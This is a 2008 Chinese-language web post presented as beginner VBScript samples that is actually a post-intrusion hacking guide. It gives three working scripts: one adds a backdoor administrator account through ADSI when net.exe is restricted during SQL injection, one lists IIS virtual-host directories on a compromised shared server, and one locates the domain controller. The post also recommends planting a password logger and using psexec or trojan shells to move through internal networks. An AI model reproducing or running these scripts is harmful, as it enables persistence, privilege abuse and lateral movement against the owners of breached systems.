×

新导航介绍,点击查看

常用的VBS代码(供学VBS的要朋友参考)

发表日期:2008-04-10 摄影器材: 点击数: 投票数:
学过VB的朋友都知道VBS是基于VB技术开发!
一、用VBS来加管理员帐号
经常看到有人在论坛上讨论,在注入过程中明明有了sa帐号,但是由于net.exe和net1.exe被限制,或其它的不明原因,总是加不了管理员帐号。VBS在活动目录(adsi)部份有一个winnt对像,可以用来管理本地资源,可以用它不依靠cmd等命令来加一个管理员,详细代码如下:

set wsnetwork=CreateObject('WSCRIPT.NETWORK')
os='WinNT://'&wsnetwork.ComputerName
Set ob=GetObject(os) ’得到adsi接口,绑定
Set oe=GetObject(os&'/Administrators,group') ’属性,admin组
Set od=ob.Create('user','lcx') ’建立用户
od.SetPassword '123456' ’设置密码
od.SetInfo ’保存
Set of=GetObject(os&'/lcx',user) ’得到用户
oe.add os&'/lcx'

这段代码如果保存为1.vbs,在cmd下运行,格式: ●cscript 1.vbs●的话,会在当前系统加一个名字为lcx,密码为123456的管理员。当然,你可以用记事本来修改里边的变量lcx和123456,改成你喜欢的名字和密码值。
二、用vbs来列虚拟主机的物理目录
有时旁注入侵成功一个站,拿到系统权限后,面对上百个虚拟主机,怎样才能更快的找到我们目标站的物理目录呢?一个站一个站翻看太累,用系统自带的adsutil.vbs吧又感觉好像参数很多,有点无法下手的感觉,试试我这个脚本吧,代码如下:

Set ObjService=GetObject('IIS://LocalHost/W3SVC')
For Each obj3w In objservice
If IsNumeric(obj3w.Name) Then
sServerName=Obj3w.ServerComment
Set webSite = GetObject('IIS://Localhost/W3SVC/' & obj3w.Name & '/Root')
ListAllWeb = ListAllWeb & obj3w.Name & String(25-Len(obj3w.Name),' ') & obj3w.ServerComment & '(' & webSite.Path & ')' & vbCrLf
End If
Next
WScript.Echo ListAllWeb
Set ObjService=Nothing
WScript.Quit

运行●cscript 2.vbs●后,就会详细列出IIS里的站点ID、描述、及物理目录,是不是代码少很多又方便呢?
三、快速找到内网域的主服务器
面对域结构的内网,可能许多小菜没有经验如何去渗透。如果你能拿到主域管理员的密码,整个内网你就可以自由穿行了。主域管理员一般呆在比较重要的机器上,如果能搞定其中的一台或几台,放个密码记录器之类,相信总有一天你会拿到密码。主域服务器当然是其中最重要一台了,如何在成千台机器里判断出是哪一台呢?dos命令像●net group 'domain admins' /domain●可以做为一个判断的标准,不过vbs也可以做到的,这仍然属于adsi部份的内容,代码如下:

set obj=GetObject('LDAP://rootDSE')
wscript.echo obj.servername

只用这两句代码就足够了,运行●cscript 3.vbs●,会有结果的。当然,无论是dos命令或vbs,你前提必须要在域用户的权限下。好比你得到了一个域用户的帐号密码,你可以用 psexec.exe -u -p cmd.exe这样的格式来得到域用户的shell,或你的木马本来就是与桌面交互的,登陆你木马shell的又是域用户,就可以直接运行这些命令了。

作者:ゞ灬斷噯╰→

《常用的VBS代码(供学VBS的要朋友参考)》


下一篇:没有了

最 新:
没有其它新的作品了

更多ゞ灬斷噯╰→的POCO作品...

评论